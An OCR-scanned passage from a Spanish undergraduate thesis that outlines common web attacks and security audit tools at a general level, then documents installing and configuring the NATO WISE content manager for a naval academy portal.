la falta de mecanismos de filtrado o de validacion de comandos de entrada. De esta forma, se permite
enviar al sistema scripts completos. Normalmente este ataque se es utilizado en aplicaciones web
Javascript. Se denomina ataque del lado del cliente. Esto es debido a que el servidor no analiza el
cédigo HTML, si no que éste se descifra directamente en el navegador o en una aplicacién local. El
cddigo malicioso se suele incrustar en programas, archivos PDF, enlaces o videos. De forma que, para
su detonacidn, requieren la accion del usuario. Tras el ataque, la pagina web mostrara el c6digo HTML
o0 los comandos que ha introducidos el usuario. En la Figura 2-13 se refleja este ataque.

Figura 2-13 Ataque Cross-Site Scripting (tomada de [55])

2.6.4 Cross-Site Request Forgery (XSRF)

El XSRF no esta destinado al robo de datos, sino a modificar el funcionamiento de la aplicacion en
favor del atacante. Se basa en que el hacker emplea al usuario para que sea el mismo el que realice el
dafio mientras se encuentra conectado, aprovechando la mala costumbre del usuario de navegar por la
red, permaneciendo conectado a paginas de interés como puede ser un banco. Mediante este ataque, un
ciberdelincuente puede impulsar un enlace con una orden al sitio en el que se encuentra conectado. Un
ejemplo de esta orden puede ser la realizaciéon de una transferencia bancaria al atacante. Este ataque se
refleja en la Figura 2-14. Para paliar estos ataques, las aplicaciones bancarias aplican un tiempo
méaximo en el que el usuario puede permanecer sin actividad, bloqueando la sesién transcurrido dicho
periodo.

Request Forgery

///// o/,/ :

Figura 2-14 Ataque Cross Site Forgery (tomada de [56])
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2.6.5 Denegacién de servicio

La denegacion de servicio (DoS) es un ataque normalmente dirigido a un servidor, con el objetivo
de imposibilitar el acceso a sus recursos o de impedir el desarrollo normal de su actividad.
Normalmente es empleado contra organizaciones o empresas con el objetivo de afectar a su reputacién
0 como arma para imposibilitar sus actividades financieras. Existen, principalmente, tres formas de
realizar este tipo de ataque:

e La primera de ellas consiste en saturar el buffer del servidor mediante la transmision de un
mayor numero de paquetes de los que puede procesar (buffer overflow). Como resultado las
peticiones reales no pueden ser atendidas.

e EI Syn Flood es otra variante de DoS. Aprovecha el protocolo para el establecimiento de la
conexién en TCP, Three Way Handshake [57], de forma que se envian miles de mensajes de
sincronizacion SYN sin finalizar la conexion. Se consigue de esta forma que el sistema reciba
un gran nimero de peticiones para el establecimiento de la conexion, agotando sus recursos.
Las peticiones legitimas son rechazadas por saturacion.

e Por ultimo, el ataque de inundacion ICMP, consiste en enviar un enorme numero de
peticiones ICMP (echo request, ping). El sistema responde a estas peticiones mediante un
ICMP (echo reply, pong), llevando el sistema a su limite de carga e impidiendo la atencion a
otras peticiones.

2.6.6 Spoofing

Spoofing es un tipo de ataque que afecta a la autenticidad. Para ello, el ciberdelincuente falsea sus
datos, simulando ser un host o pagina de confianza. De esta forma, el usuario accede a estas paginas,
pensando que se trata de un sitio web autorizado y puede verse afectado por una gran diversidad de
ataques.

El spoofing se puede realizar sobre diferentes componentes que integran la web, sus protocolos y
equipos que a ella se conectan: IP Spoofing, ARP Spoofing, DNS Spoofing, Web Spoofing, E-malil
Spoofing 0 GPS Spoofing son sus principales manifestaciones.

Ademas de los ataques sobre entornos web, existen infinidad de programas o codigo malicioso
conocido como malware, que afectan a los sistemas informéticos. En el Anexo Il del presente
documento se presentan las principales variantes englobadas dentro del término malware.

2.7 Herramientas de analisis de seguridad web

Un andlisis de vulnerabilidad consiste en la deteccion de servicios, protocolos o software
vulnerable. El término vulnerable indica que posee fallos de seguridad o su informacion privada se
encuentra facilmente accesible. Las vulnerabilidades pueden ser conocidas o desconocidas. Estas
ultimas se conocen como 0-day [58] y constituyen un problema cuya solucion no se conoce hasta el
momento.

Las herramientas de analisis web o auditorias se destinan a analizar los datos y el trafico de un
sitio web. Su objetivo es mejorar su funcionamiento y detectar comportamientos anémalos o
conexiones sospechosas. Por un lado, existen herramientas destinadas a la monitorizacion. Estas
herramientas nos presentan datos que reflejan el nimero de usuarios que nos visitan, las actividades
que realizan en nuestra web y los aspectos a mejorar o corregir para enriquecerla. En definitiva,
reflejan los contenidos mas populares, las horas de mayor densidad de trafico y las acciones a
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implementar para que funcione mejor y sea mas segura. En segundo lugar, se encuentran aquellas
destinadas a la ciberseguridad. Su objetivo principal se centra en la deteccion de servicios, protocolos
o software vulnerables. También podemos encontrar un amplio abanico de plataformas para la
realizacion de pentesting (test de penetracion). Estas herramientas llevan a la practica diversos ataques
para descubrir las vulnerabilidades o errores de cddigo. Son totalmente legales siempre que se realicen
sobre nuestros equipos o el de los usuarios de una organizacion, siempre que lo autoricen previamente.
Estos sondeos se realizan sobre paginas web, equipos y sobre el factor humano, aplicando técnicas
propias de la ingenieria social. Posteriormente se redacta la documentacion correspondiente a los fallos
deducidos por la auditoria para tomar las acciones oportunas que las solventen.

2.7.1 Realizacion de un andlisis de seguridad

Una auditoria de seguridad web comienza con la recopilaciéon de toda la informacion disponible
sobre el sitio web a analizar. Para ello se emplean buscadores, envio de peticiones HTTP o
establecimientos de conexion. De esta forma se buscan errores de cddigo documentados, puertos
abiertos y tecnologias usadas. Por tanto, el primer paso seré realizar un analisis de puertos. El objetivo
de un andlisis de puertos es determinar los puntos de entrada que tiene abiertos un equipo, detectar la
existencia de firewalls o comprobar el funcionamiento de los equipos y los servicios que se estan
ejecutando. Esta técnica la realizan tanto administradores, como hackers. A cada puerto se le asigna
un servicio concreto. Un puerto puede encontrarse cerrado, filtrado por un cortafuegos, o abierto.

Existen distintas formas de realizar un escaneo de puertos. Uno de ellos es el protocolo de
establecimiento de la conexion en TCP, Three Way Handshake. Pero ademas existen otros métodos
como, por ejemplo, escaneo de firewalls o UDP.

e Three Way Handshake: El método de establecimiento de la conexion en TCP se utiliza para
escanear los puertos abiertos. Para ello se envia un paquete SYN (, que puede ser respondido de
dos maneras: si recibimos otro pagquete SYN/ACK, el puerto estard abierto. Si obtenemos a
cambio un paquete RST (reset), el puerto estara cerrado.

SYN ..

. SUNIRCK

“

Figura 2-15 Funcionamiento del protocolo Three Way Handshake (tomado de [59])

e ACK Scan: es un método utilizado para detectar firewalls. Si enviamos un paquete ACK
(acknowledgement) y obtenemos un RST (reset), no habra cortafuegos. Sin embargo, si al
enviar un paquete ACK, no obtenemos respuesta, es que hay un firewall que deshecha nuestras
peticiones.

e UDP Scan: UDP (User Datagram Protocol) es un protocolo de la capa de transporte no
orientado a establecimiento de la conexion. Si enviamos un mensaje UDP y no obtenemos
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respuesta, el puerto estara abierto. Si por el contrario, recibimos un mensaje ICMP (Internet
Control Message Protocol), el puerto estara cerrado.

Una vez tenemos el listado de puertos en uso, se debe realizar un Banner Grabbing, que consiste
en ver las versiones de las aplicaciones que se ejecutan en cada puerto abierto. Tras obtener dichas
versiones empleadas, se procede a compararlas con una base de datos de vulnerabilidades. En el caso
de obtener alguna coincidencia con alguna vulnerabilidad conocida, el sistema analizado seria
vulnerable y se podrian aplicar técnicas para acceder al sistema. Existen técnicas que realizan este
proceso de andlisis de forma automatica. Openvas [60] es un escaner de vulnerabilidades de software
libre. Su objetivo es facilitar el anélisis de vulnerabilidades, asi como proporcionar herramientas para
auditorias, formacién en seguridad y prevencion de fallos de seguridad. Para facilitar la ayuda e
identificacion de las posibles amenazas, el proyecto de cddigo libre de seguridad en la web Owasp [61]
muestra periédicamente el top ten de amenazas web. En la Figura 2-16 se representan, ordenadas en
funcion de su importancia, las mayores amenazas a la web en el afio 2013.

OWASP Top 10 — 2013 (New)

Al - Injection

A2 - Broken Authentication and Session Management

A3 - Cross-Site Scripting (XSS)

A4 — Insecure Direct Object References

A5 — Security Misconfiguration

A6 - Sensitive Data Exposure

A7 — Missing Function Level Access Control

A8 — Cross-Site Request Forgery (CSRF)

A9 — Using Known Vulnerable Components

A10 - Unvalidated Redirects and Forwards

Merged with 2010-A7 into new 2013-A6

Figura 2-16 Clasificacion de las 10 principales amenazas web (tomada de [62])

2.7.2 Plataformas para andlisis de seguridad web

Como administradores de un sistema de informacion, se debe tener una preocupacion constante
por su seguridad y proteccion. Hoy en dia se encuentran disponibles un gran nimero de herramientas
para la realizacion de auditorias. Se describen a continuacién algunas de las plataformas mas
destacadas.

2.7.2.1 ZAP (ZED ATTACK PROXY)

ZAP [63] es una herramienta de codigo libre desarrollada por la empresa Owasp, destinada a la
realizacion de tests de penetracion en aplicaciones web.
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Dispone de numerosas herramientas para realizar andlisis de forma automatica, asi como un
conjunto de programas Yy aplicaciones que le permiten realizar el andlisis de forma manual. Es una de
las herramientas mas empleadas para la deteccion de errores y vulnerabilidades de software en las
primeras fases de un test de penetracion.

2.7.2.2 BACKTRACK

Backtrack [64] es una distribucion Linux desarrollada por Offensive Security, para la realizacion
de auditorias y seguridad informética. Se trata de una aplicacion gratuita y de codigo abierto, variante
del sistema operativo Ubuntu. Backtrack ofrece al usuario una gran lista de herramientas que pueden
usarse desde un CD o memoria USB. Entre ellas se encuentran algunas muy populares como
Wireshark, Medusa o Nmap. Entre las acciones que puede realizar se encuentran: la recopilacion de
informacion, el mapeo de puertos, analisis de vulnerabilidades, tests de penetracion o técnicas para la
realizacion de ingenieria inversa.

Sin embargo, su ultima version fue lanzada en 2012. Actualmente ha sido sustituida por Kali
Linux, que presenta nuevas mejoras y mayor robustez.

<< back | track 5y

Figura 2-17 Logo de la herramienta de anélisis de seguridad BackTrack

2.7.2.3 KALI LINUX

Kali Linux [65] es un proyecto de seguridad basado en su predecesor. Al igual que Backtrack, es
completamente gratuito. Esta nueva actualizacion trabaja sobre el sistema operativo Debian,
considerado mas seguro, actualizado y eficiente. Trae preinstaladas numerosas aplicaciones, mas de
600 programas y cuenta con una enorme lista de herramientas para la realizacion de test de
penetracion. Ademas en su menu incluye una lista con las diez herramientas mas usadas en seguridad
informatica, informacién sobre gathering, analisis de seguridad, tutoriales para insertar codigo SQL,
herramientas para realizacion de ingenieria social, DoS, etc.

Figura 2-18 Logo de la herramienta de anélisis de seguridad Kali Linux

A continuacion se presentan las herramientas de la distribucion Kali Linux que seran empleadas en
el capitulo 4 del presente documento:
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1- Whatweb [66]: Es una herramienta que permite identificar las tecnologias de un servidor web,
incluyendo los CMS. Dispone de méas de 900 plugins orientados a este propdsito. Ademas de las
tecnologias, Whatweb identifica las versiones de las aplicaciones, sistemas operativos que se
ejecutan sobre el servidor o direcciones IP. Ofrece la posibilidad de realizar escaneres pasivos 0
tests de vulnerabilidades agresivos.

Por todo ello, podria ser empleada en un pentesting tanto para la recogida de informacién como en
el escaner de vulnerabilidades.

2- Zenmap [67]: Constituye el interfaz grafico de Nmap, herramienta de cddigo abierto empleada
para la exploracion de redes y la auditoria de seguridad. A partir de paquetes IP, determina qué
equipos se encuentran conectados, asi como los puertos abiertos y servicios que sobre ellos se
ejecutan.

Ademas de su empleo en auditorias de seguridad, Zenmap puede emplearse para la monitorizacién
de equipos propios.

3- BlindElephant [68]: La herramienta BlindElephant cuenta con 15 plugins de aplicaciones web
conocidas. Tras un rapido escaner, la herramienta identifica las versiones de las aplicaciones que
sobre un servidor se ejecutan, comparandola con dichos plugins. Tras obtener la version de una
aplicacién especifica, se podria realizar un ataque dirigido a explotar las vulnerabilidades que
presenta dicha version.

4- ZAP (Zed Attack Proxy): ZAP, comentado en la seccion 2.7.2.1, es una herramienta escrita en
Java destinada a servir como escaner de vulnerabilidades y a realizar tests de penetracion sobre
aplicaciones web. Dispone de escaneres automaticos, no obstante, también permite realizar el
escaneo de forma manual. Durante estos escaneres ZAP lanza distintos ataques. Entre otros se
encuentran: XSRF, XSS o Inyeccion SQL.

5- VEGA: VEGA [69] es otra de las herramientas que presenta Kali Linux para analizar la seguridad
de aplicaciones web. Tras el analisis, la herramienta genera un informe en el que clasifica las
vulnerabilidades por niveles de riesgo.

6- Armitage: Armitage [70] es el interfaz grafico de ciberataques de Metasploit. La propia
herramienta recomienda qué tipo de exploit emplear para vulnerar un sitio web concreto. Se
emplea para el descubrimiento y explotacion de vulnerabilidades.

7- Wireshark: Wireshark [71]es un analizador de protocolos de red de libre distribucion. Su objetivo
principal es el analisis y la captura de trafico. Se emplea por los administradores de red para
detectar, analizar o localizar anomalias en la red. De esta forma se puede mejorar su rendimiento.
Ademas, a través de las técnicas sniffing, se pueden obtener contrasefias de usuarios que se envian
por la red sin cifrar. Contrasefias, correos electronicos o procesos que un equipo determinado esta
ejecutando, son algunos de los datos que se puede obtener.

8- GoldenEye: GoldenEye [72] es una de las herramientas que presenta Kali Linux para la
realizacion de ataques de denegacion de servicio. Con su empleo se pueden localizar las
vulnerabilidades que presenta un sistema o aplicacion web ante este tipo de ataques.

2.7.2.4 SAMURAI WEB TESTING

Samurai Web Testing [73] se define como una plataforma Linux desarrollada para funcionar como
un entorno web de pentesting. Comparte también una gran cantidad de herramientas de anélisis de
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vulnerabilidades. Ademas, la distribucion incorpora una guia detallada para la realizacion de auditorias
y test de penetracion para usuarios no experimentados.

2.7.2.5 ACUNETIX WEB VULNERABILITY SCANNER

Acunetix WVS [74] es otro ejemplo de herramienta de seguridad informatica desarrollada para la
realizacion de auditorias sobre aplicaciones web. Comprueba las vulnerabilidades como inyeccion
SQL o Cross-Site scripting, entre muchas otras. Como parte de la auditoria, Acunetix analiza las
vulnerabilidades del servidor web y, mediante un escaneo y andlisis de puertos, identifica los servicios
en funcionamiento. Ademas realiza un test de verificacion de contrasefias y muestra los fallos de
programacion, generando finalmente un informe de seguridad. La distribucion es de pago, no obstante,
permite una prueba gratuita de 14 dias para conocer su funcionamiento.

MHacunhetix

WEB APPLICATION SECURITY

Figura 2-19 Logo de la herramienta de anélisis de seguridad Acunetix

2.7.2.6 FOCA (FINGERPRINTING ORGANIZATIONS WITH COLLECTED ARCHIVES)

FOCA [75] es un software para pentesting, desarrollado por la empresa espafiola de seguridad
informatica Eleven Paths y que se basa en el andlisis de metadatos. No obstante, también permite la
realizacion de escaneo de puertos, busqueda de servidores de dominio, asi como el descubrimiento de
equipos conectados. De los metadatos, podemos obtener todas las modificaciones que se han realizado
sobre un documento, la version sobre la que se ha creado o incluso extraer contrasefias y direcciones.
En el caso de fotografias, se podria obtener la ubicacién GPS donde fue tomada, la fecha y hora exacta
en la que se realizd. Esto puede suponer un riesgo para personas publicas como politicos o famosos,
que suben constantemente iméagenes a las redes sociales, pudiendo estar revelando su ubicacion.

El proceso que realiza este software comienza por la descarga de todos los documentos de una
pagina web (PDF, DOC, JPEG), para descubrir informacion que pueda interesar en un test de
penetracion. Esta puede ser: usuarios, en qué dispositivo trabaja cada usuario, la version del sistema
operativo, correos electrénicos, etc. Esta practica no es ilegal, pues los documentos han sido colgados
en lared y, por tanto, son publicos. El objetivo final de FOCA es reforzar la privacidad y evitar la mala
imagen de la organizacion y, ademas, localizar vulnerabilidades y eliminar toda la informacién privada
que haya podido ser publicada inconscientemente.

FEAR &S THE

Figura 2-20 Logo de la herramienta de anélisis de metadatos FOCA
40



DESPLIEGUE DEL GESTOR DE CONTENIDOS WISE Y ANALISIS DE VULNERABILIDADES

3 DESPLIEGUE DEL CMS WISE

WISE

Web Information Services Environment

3.1 Presentacion

A lo largo de la siguiente seccidén se explican detalladamente los procesos de instalaciéon y
configuracion Classic del gestor de contenidos WISE, utilizado en el &mbito de la OTAN. Para este
despliegue, se ha empleado la version 1.2 R1 de WISE. Proporcionada por el Arsenal de Ferrol, para
el desarrollo del TFG, esta es la version mas moderna que se ha podido conseguir.

La descripcion del despliegue se acompafia de una amplia recopilacion grafica del proceso
realizado. Ademas, se analizan las diferentes posibilidades que ofrece WISE en cuanto disefio y
publicacion de contenidos. Las opciones seleccionadas en la instalacion y configuracion, asi como la
tematica general del gestor y los archivos que se muestran en el portal, simulan el uso que se le daria a
WISE en la Escuela Naval Militar, como centro militar de formacion para los futuros oficiales.
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3.2 Instalacién de WISE

La instalacion que se describe a continuacion se ha desarrollado siguiendo los pasos descritos en la
guia que proporciona la aplicacion [76]. WISE se ha instalado en un equipo Toshiba Satélite C660, que
hara de servidor de nuestro gestor de contenidos. El equipo presenta las siguientes caracteristicas:

e Sistema Operativo: Windows 7 Profesional. 64 bits
e Procesador: Intel® Core™ i5-3230M CPU @ 2.60GHz.
e Memoria instalada (RAM):  4,00GB (3,89GB utilizable).

Para proceder a la instalacion de la aplicacion, entraremos en el CD y seleccionaremos la
aplicacion wise 1.2R1, como se muestra en la Figura 3-1.

. v WISE » app

- Abrir Compartir con * Grabar Mueva carpeta

tos Mormbre Fecha de modifica..  Tipo Tarnafic

argas 4| AUTORUN 13/12/2004 18:32 Informacian schre... 1KB
torio @ wise 13/12/2004 18:32 Icono 1KB
s recientes & wise 1.2R1 13/12/2004 18:32 Aplicacién 94854 KB

EeCas
urmentaos

qenes

Figura 3-1 Captura: CD gestor de contenidos WISE 1.2R1

El primer paso sera seleccionar el directorio donde deseamos guardar el sistema de archivos del
CMS. En nuestro caso, hemos seleccionado. C\Archivos de Programa(x86)\WISE. Pulsaremos en
next para continuar.

La siguiente ventana sera Development Tools (Herramientas de desarrollo). Esta ventana
proporciona la opcion de seleccionar herramientas de desarrollo, que contienen documentacion para el
desarrollo de aplicaciones y la creacion de nuevos objetos WISE. Esta opcidn solo se debe seleccionar
si se prevé el desarrollo de software en el servidor de WISE. Ademas, al marcar la casilla, permite al
usuario acceder a la siguiente documentacién: guia del desarrollador, Python y documentacién ZOPE.
En estos documentos se muestra toda la informacion necesaria sobre ZOPE y el sistema, para futuros
administradores.

Para nuestra aplicacion, cuyo uso se asemeja al realizado en las unidades de la Armada, dejaremos
la casilla sin marcar, como se refleja en la Figura 3-2. Este hecho se justifica en que en las unidades
navales, WISE se emplea como un gestor de contenidos sencillo para compartir informacion de interés
como: orden diaria, documentos administrativos, imagenes o enlaces a sitios web de interés. El
desarrollo de aplicaciones o nuevos objetos WISE no se realiza en este &mbito.
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2% WISE 1.2R1 Installation m

Select Optional Components

Choose which optional companents to install by checking the
boxe: below

@-- et Tooks 1728k

< Back Next > Cancel I

Figura 3-2 Captura: Ventana de seleccién de Development Tools

A continuacion deberemos seleccionar una de las dos posibles configuraciones disponibles:

e La primera es la version Classic, que es una instalacion tipica de WISE que permite al
usuario disefar, desarrollar y administrar sus propios sitios web.

e La segunda es la opcién Enterprise, que afiade una capa adicional a la version Classic. Un
segundo servidor HTTP (en forma de Apache) se instala para manejar las solicitudes GET,
sirviendo de apoyo a WISE para la gestion de otras solicitudes de servicio web. Aunque
esto hace la instalacion méas compleja de gestionar, aumenta la capacidad de respuesta y el
rendimiento de WISE.

En nuestra aplicacion, seleccionamos la configuracion Clasica o estandar (Figura 3-3). Hemos
optado por esta opcién en la que la configuracion del portal ya que es la que se suele emplear en los
buques de la Armada. Ademas, es ideal para entornos pequefios, en los que el nimero de usuarios y el
volumen de informacion son reducidos.

42 WISE 1.2R1 Installation B3

Set Configuration

There are two configuration options:

- The Standard Configuration consists of the classic WISE
server.

- The Enterprise Configuration provides the classic WISE
server and front-end Apache server software to accomodate
larger more complex WISE sites where multiple concurrent user
transactions could otherwise notably impact on system
performance.

See the WISE Installation Guide for more detailed information.

Cancel |

Figura 3-3 Captura: Seleccién del tipo de instalacion (Classic o Enterprise)
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A continuacion, tendremos que seleccionar el puerto de escucha del servidor web (Figura 3-4). Por
defecto, la aplicacién preselecciona el puerto 80. No obstante, en caso de tener ocupado dicho puerto
por otra aplicacion, se propone el 8080 como alternativo.

¢2 WISE 1.2R1 Installation

Set Web Server Port

If you are already running a web server on port 80 (e.g. IIS,
Apache, etc. ] select the altemative port for WISE.

@H [Default HTTP port)

" Port 8080 [Akemative HTTP port)

Cancel I

Figura 3-4 Captura: Seleccioén del puerto para el servicio web

En el siguiente paso, debemos introducir los datos del usuario de emergencia (ver Figura 3-5). Este
usuario se empleara para restablecer las contrasefias en caso de pérdida u olvido. Por lo tanto, la
contrasefia seleccionada debera conocerla el administrador de WISE y almacenarla en un lugar seguro.
El nombre de este usuario (emergency, por defecto), se puede modificar.

Para nuestro usuario emergency hemos seleccionado una clave de acceso segura, contando con 8
caracteres en los que se incluyen nimeros y letras, simbolos y mayusculas.

Emergency User

Fleaze enter the emergency usemame and password for this
installation.

| sernarne |Emergencia

Fazzword

W alidate HERHNHNN
Pazzword

< Back Mest » |

Figura 3-5 Captura: Establecimientos de los datos de usuario de emergencia
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Justo después del usuario de emergencia, definiremos la cuenta de administrador WISE. Este
administrador es el responsable de la creacidn del gestor y del control de su base de datos. En nuestro

caso, tal y como se refleja en la Figura 3-6, hemos mantenido este nombre y hemos seleccionado una
contrasefia segura.

E]wise 1281 It

Add WISE Administrator

Pleaze enter the WISE administrator name and pazsword. The
WISE administrator iz respongible for creating and deleting sites
and managing the WISE database.

|Jzerame

Pazsword

Validate
Paszword

Figura 3-6 Captura: Establecimiento de la cuenta del administrador de WISE

En este paso, se crea el sitio web para nuestra WISE. Tanto el titulo como la ubicacion pueden
seleccionarse en los recuadros que aparecen en la Figura 3-7. En nuestro caso, hemos mantenido la
direccion y sitio por defecto durante la instalacion. No obstante, la direccion se puede modificar,
cambiando el nombre del sitio en la configuracion, tal y como se explicard posteriormente. De esta
manera nuestra URL incluira WISE: WISE y se especificara en el titulo.

Si la opcion Allow Self Registration se marca, los usuarios tendrian la capacidad de registro en el
sistema WISE. Esta casilla se ha dejado sin marcar (véase Figura 3-7), de forma que sera el
administrador quien tendra que registrar a todos los nuevos usuarios. Como veremos mas adelante, esta
opcion también podra ser modificada posteriormente en la configuracion.

Add Initial Site

Pleaze enter the site information for the initial WISE site. & site
requires an location, used for the wl to access the site, a title
and whether uzers are allowed to register themselves at this
site,

Site Location

Title

Allow S
Fiegistrati

< Back MHest » | Cancel

Figura 3-7 Captura: Establecimiento de la informacion del sitio WISE
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El administrador del sitio o site administrator gestionara el sistema WISE. Este usuario controlara

el acceso y sera el encargado de subir y gestionar los contenidos que se publican en la web, asi como
registrar los nuevos usuarios (Figura 3-8).

WISE 1.2R1 Installatio

Add Site Administrator

Please enter the zite adminiztrator name and pazsword for the
initial gite P 1SE]. The gite adminigtrator iz responzible for the
initial configuration and security of the site,

zernarme

Password

W alidate
Password

< Back Mewut » | Cancel

Figura 3-8 Captura: Establecimiento de la cuenta de administrador del sitio WISE

La ventana de Simple Mail Transfer Protocol (SMTP) solicita el nombre o la direcciéon IP del
servidor de correo electronico para WISE. Este servidor se empleara cada vez que se quiera mandar un
e-mail a un usuario registrado. Ademas, algunos de los objetos WISE se apoyan en este servidor para
su presentacion web. En nuestro caso hemos seleccionado el servidor publico de gmail:
smtp.gmail.com.

El nimero de puerto predeterminado es 25; éste es el niUmero de puerto estandar para SMTP vy,
como se refleja en la Figura 3-9, el que seleccionaremos.

Define SMTP Server

WwSE requires an SMTP [E-mail] server. [t should be entered
by using the full domain name [e.g.. mailserver.nato.int) of the
SMTP zerver and the port number [normmally port 28] of the
SMTP service.

SMTP Host Host Local

SMTP Part 25

< Back Mest » | Lancel

Figura 3-9 Captura: Define SMTP Server
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Tras el establecimiento de todos los parametros previos, nuestra aplicacion ya esta disponible para
su instalacién (ver Figura 3-10). En caso de necesitar modificar algin dato introducido, se permite la
opcién de volver hacia atras.

¢ WISE 1.2R1 Installation

Ready to Install!

You are now ready to install WISE 1.2R1.

Press the Next button to begin the installation or the Back
button ta reenter the installation information.

Cancel |

Figura 3-10 Captura: Mensaje de inicio de instalacién de WISE

Una vez completada la instalacion (ver Figura 3-11), accedemos a WISE con la URL.: http://cud-
tosh./ Posteriormente, se le ha asignado al equipo la IP fija 192.168.1.79 para su acceso en red local.
No obstante, siempre se puede acceder con el titulo configurado en la instalacion (ver Figura 3-7).

Installation Completed!

The inztallation of WISE 1.2R1 has been successiully
completed.

WSE haz been installed az a zervice that will be started
automnatically by the systenn. *When you have finizhed thiz
itistallation, pou can access the URL:

http: /#cud-TOSH./

to beqin using 'WISE.

To access the WISE Adminigtration page go to:

http: /#cud-TOSH. Awizeadmin.

Prezz the Finish button to exit thiz installation.

Figura 3-11 Captura: Mensaje mostrado tras la instalacion con éxito de WISE
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3.3 Configuracion de WISE

Una vez realizada la instalacion, accederemos a nuestra pagina introduciendo en el navegador la
URL indicada en el apartado anterior o simplemente WISE: WISE. Como estamos accediendo
localmente, no precisamos conexion a Internet o red LAN para ello.

Una vez en nuestro portal WISE, nos autenticaremos como siteadmin para proceder a su disefio
(ver Figura 3-12).

Fle Edt  Yew Favorkes Toos  Hep
Qosck > O (K &) B Pseach ravorres Wreds €@ (- u B3 B lasesle @ i

Wise Administration

User Authentication

User Authentication

User ID

Password

CF Log In Users who have previously registered with this
weabsite are encouraged to authenticate themselves through
the User Authentication form above. This will ensure that
additional functionality and privileges assignad to them will be
made avalable.

1. Enter your User ID.
2. Enter your Password,
LO% IN

3. Click on the button

Figura 3-12 Captura: Pantalla de autentificacion de WISE

Una vez autenticados como administrador, procederemos a la generacion de nuestro entorno,
disefiando los contenidos que deseamos mostrar. Para ello, pinchamos sobre el icono que nos aparece a
la derecha de la pantalla, y que representa un ordenador detréas de una llave (ver Figura 3-13).

Figura 3-13 Acceso a la configuracion WISE

Accederemos de este modo a la ventana menu (ver Figura 3-14). En ella podremos ir
introduciendo los diferentes contenidos que deseemos colgar en el portal:

¥ add Objects Select the type of object you would like to Add ( ). then click on the

button.

F Manage Object Click on the edit Hicon to manage the object.

F View Object Click on the view O\ icon to view the object.
¥ Edit Object Metadata Click on the object icon to edit object Metadata.
¥ cut, Copy and Delete Object(s)

1. Click the checkbox by each object you would like to Cut, Copy or Delete.
2. Click on the “, w or button.

= Custom Order Objects Click on the butten to save the object order.

WISE

Figura 3-14 Ventana de generacion de objetos WISE
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Desplegando la ventana de Add Objects, se nos muestra el
listado de los distintos tipos de documentos que podemos colgar

(ver Figura 3-15). A continuacion, realizaremos una breve Bulletin Board

explicacion de cada tipo de objeto disponible. Calendar
Chart Generator
Chat
e Brief Generator Community Files
Container

Permite a uno 0 mas usuarios la creacion de una presentacion o FileObject
un sitio web dinamico. Después de crear cada presentacion Form Generator
individual, se puede cargar y posteriormente se compila en una Htmllet

Unica, para su revision antes de su aprobacion final. IMAP Client
Imagelet

Una vez que se concede la aprobacion final, la presentacion se Motices
puede visualizar en cualquier ordenador conectado a WISE. Portlet
Rsslet
Site Search
Subweb
Table Generator
Estos tablones de anuncios pueden emplearse por destinos o url

grupos para diferentes propositos. WISE Administration Guide
. , . . WISE User Guide
Son el equivalente electronico de los antiguos tablones de Web Directory

anuncios, donde cualquier persona puede publicar folletos sobre Workflow

e Bulletin Board

cualquier tema de interés, tales como articulos para la venta de Figura 3-15 Lista de objetos
objetos, eventos y anuncios. WISE

El objeto Bulletin Board permite a los visitantes invitados (sin
registro de usuario necesario) publicar articulos, adjuntar archivos y mantener conversaciones sobre
temas relevantes. Los usuarios pueden responder y asociar sus comentarios con un mensaje especifico
ya publicado. Este hecho podria suponer una vulnerabilidad puesto que cualquier visitando podria
publicar archivos infectados.

e Calendar

El calendario permite publicar de manera facil los eventos o actividades previstas. La aplicacién
ofrece una variedad de opciones de visualizacién, capacidad para marcar los eventos con un codigo de
colores de facil interpretacion y agregar enlaces URL a los eventos.

Sélo los usuarios con privilegios de administrador del sitio pueden afiadir o editar eventos.

e Chart Generator

El objeto Chart Generator es una herramienta rapida y facil para la construccién de gréficos en
linea que muestren informacion estadistica.

e Chat

El Chat de WISE ofrece un primer nivel informal para discutir temas y cuestiones pertinentes al
destino o departamento, o de hacer preguntas a otros usuarios.

Se trata de una aplicacion abierta que permite interactuar a todos los usuarios, incluyendo los
clientes no registrados. El chat dispone de un registro, de forma que los usuarios que trabajan en turnos
diferentes pueden leerlos mas tarde.
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e Community Files

El objeto de los Community Files es permitir al usuario ver el contenido de los directorios
ubicados en el servidor o acceder a las carpetas compartidas adicionales.

Normalmente, el servidor WISE tiene restringido el acceso de los usuarios. Por ello el
administrador tendra que colocar los archivos en el directorio por defecto o compartir el directorio para
los usuarios.

e Container

El Container es uno de los objetos mas utilizados disponibles en WISE. Se trata basicamente de un
archivador que permite almacenar cualquier tipo de archivo (por ejemplo, archivos de Word,
PowerPoint, Excel, archivos de imagenes, aplicaciones de bases de datos, etc.)

Los contenedores son analogos a las carpetas o directorios que usamos en cualquier ordenador.
Pueden contener otros contenedores para proporcionar una estructura de archivos jerarquica. Se deben
elegir titulos logicos para hacer el acceso a la informacion los mas intuitiva posible. No obstante,
pueden modificarse posteriormente. En la Figura 3-16 se muestra uno de los containers empleados.

AMPLIACION DE INFORMATICA
INSTALACIONES Y CONSTRUCCION NAVAL
SISTEMAS DE CONTROL Y SENSORES NAVALES
OFICINA TECNICA

Figura 3-16 Captura: Ejemplo de Container, Asignaturas CUD

e FileObject

Los FileObject permiten al administrador colgar cualquier archivo, con gran facilidad. La Unica
limitacion en el tipo de archivo que se utiliza es que el usuario debe tener instalada en su equipo la
aplicacién necesaria para abrir el archivo.

e Htmllet

La herramienta Htmllet esta disefiada principalmente para los usuarios familiarizados con
Hypertext Markup Language (HTML). Puede contener HTML, XML, texto plano y texto estructurado.
Por ejemplo, un Imagelet (descrito méas adelante) solo permitira la publicacion de una sola imagen en
su pagina y no permite cambiar el tamafio de esa imagen, mientras que una Htmllet facilita la
publicacién maultiples imagenes y el cambio de tamafio. En el despliegue del sistema WISE para la
creacion del portal de la ENM, se ha empleado este objeto para la difusion de avisos, a partir de texto

en movimiento.
{0Y SE EXPONDRA EL TFG SO

Figura 3-17 Captura: Ejemplo de Htmllet en la pagina principal del portal WISE
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e [MAP Client

El protocolo de acceso a mensajes de Internet (IMAP) es un método de acceso a mensajes de
correo electrénico que se almacenan en un servidor.

El cliente IMAP permite al usuario ver sus carpetas y mensajes de correo electronico, integrado en
el portal WISE.

e Imagelet

Imagelet permite agregar una imagen o un grafico a su pagina. La imagen utilizada debe estar
disponible en una unidad local y estar en un formato compatible con el navegador, por ejemplo GIF o
JPEG, de modo que pueda ser correctamente visualizada en la web. Ademas no se puede modificar su
tamarnio, por lo que debe ser comprobada antes de subirla.

